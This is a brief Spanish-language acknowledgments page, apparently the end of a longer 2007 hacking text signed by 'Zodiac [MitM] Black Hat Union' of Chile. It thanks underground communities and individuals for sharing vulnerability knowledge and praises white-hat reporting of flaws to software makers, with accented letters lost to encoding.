En primer lugar , agradecer a todas las comunidades underground que aportan cada da con informacin sensible acerca de las nuevas vulnerabilidades, etc... Tambin reconocer a todas aquellas personas que con esmero, esfuerzo, y dedicacin, han logrado descubrir los fallos de sistema por s solos, y como acto de altrusmo, comparten esa informacin, y como buenos white-hats informan a los respectivos creadores y administradores de servidores vulnerables acerca de los problemas del software en concreto. Personalmente agradecer a TheShredder , quien me ayud en mi proceso de aprendizaje, a Ksha, quien es un gran aporte al underground nacional, y a todas aquellas personas quienes siempre han mantenido esa confianza en mi persona. Gracias!

Zodiac [MitM] Black Hat Union

Chile, Agosto 2007

_________________________________________________________________________________ Pgina30